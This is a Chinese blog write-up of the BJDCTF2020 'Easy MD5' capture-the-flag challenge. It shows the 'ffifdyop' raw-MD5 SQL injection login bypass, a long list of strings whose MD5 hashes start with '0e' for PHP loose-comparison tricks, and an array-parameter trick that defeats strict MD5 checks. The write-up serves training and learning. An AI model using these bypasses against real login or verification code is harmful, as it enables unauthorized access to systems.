美文网首页
[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

作者: 佛系小沈 | 来源:发表于2020-06-25 13:11 被阅读0次

    这个题目我不太会,百度到各路大佬的wp之后才云里雾里的做完了整个题目。这里记录一下感想及操作。

    打开页面长这样: image.png

    感觉是sql注入,但是注不出来,试着抓包:

    image.png
    好了,sql注入石锤,还找到了hint。大佬说这个可以用ffifdyop绕过,绕过原理是:
    ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
    而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。 绕过第一关以后会弹出一个网页: image.png
    查看一下源码: image.png

    典型的md5碰撞嘛,这个是弱比较,所以可以用md5值为0e开头的来撞。这里提供一些md5以后是0e开头的值:

    QNKCDZO
    0e830400451993494058024219903391
    
    s878926199a
    0e545993274517709034328855841020
    
    s155964671a
    0e342768416822451524974117254469
    
    s214587387a
    0e848240448830537924465865611904
    
    s214587387a
    0e848240448830537924465865611904
    
    s878926199a
    0e545993274517709034328855841020
    
    s1091221200a
    0e940624217856561557816327384675
    
    s1885207154a
    0e509367213418206700842008763514
    
    s1502113478a
    0e861580163291561247404381396064
    
    s1885207154a
    0e509367213418206700842008763514
    
    s1836677006a
    0e481036490867661113260034900752
    
    s155964671a
    0e342768416822451524974117254469
    
    s1184209335a
    0e072485820392773389523109082030
    
    s1665632922a
    0e731198061491163073197128363787
    
    s1502113478a
    0e861580163291561247404381396064
    
    s1836677006a
    0e481036490867661113260034900752
    
    s1091221200a
    0e940624217856561557816327384675
    
    s155964671a
    0e342768416822451524974117254469
    
    s1502113478a
    0e861580163291561247404381396064
    
    s155964671a
    0e342768416822451524974117254469
    
    s1665632922a
    0e731198061491163073197128363787
    
    s155964671a
    0e342768416822451524974117254469
    
    s1091221200a
    0e940624217856561557816327384675
    
    s1836677006a
    0e481036490867661113260034900752
    
    s1885207154a
    0e509367213418206700842008763514
    
    s532378020a
    0e220463095855511507588041205815
    
    s878926199a
    0e545993274517709034328855841020
    
    s1091221200a
    0e940624217856561557816327384675
    
    s214587387a
    0e848240448830537924465865611904
    
    s1502113478a
    0e861580163291561247404381396064
    
    s1091221200a
    0e940624217856561557816327384675
    
    s1665632922a
    0e731198061491163073197128363787
    
    s1885207154a
    0e509367213418206700842008763514
    
    s1836677006a
    0e481036490867661113260034900752
    
    s1665632922a
    0e731198061491163073197128363787
    
    s878926199a
    0e545993274517709034328855841020
    
    

    于是构造http://37d8016d-643c-4764-8e62-c8a24e224a75.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=s878926199a即可绕过。

    之后又弹出一个网页

    image.png
    这里可以用两个方法解决。
    1.可以利用数组
    md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等
    构造:
    param1[]=111&param2[]=222即可

    2.利用md5值强碰撞,找到两个md5值相同的字符串即可。
    这里采用第一个:


    image.png

    相关文章

      网友评论

          本文标题:[BJDCTF2020]Easy MD5

          本文链接:https://www.haomeiwen.com/subject/hqdsfktx.html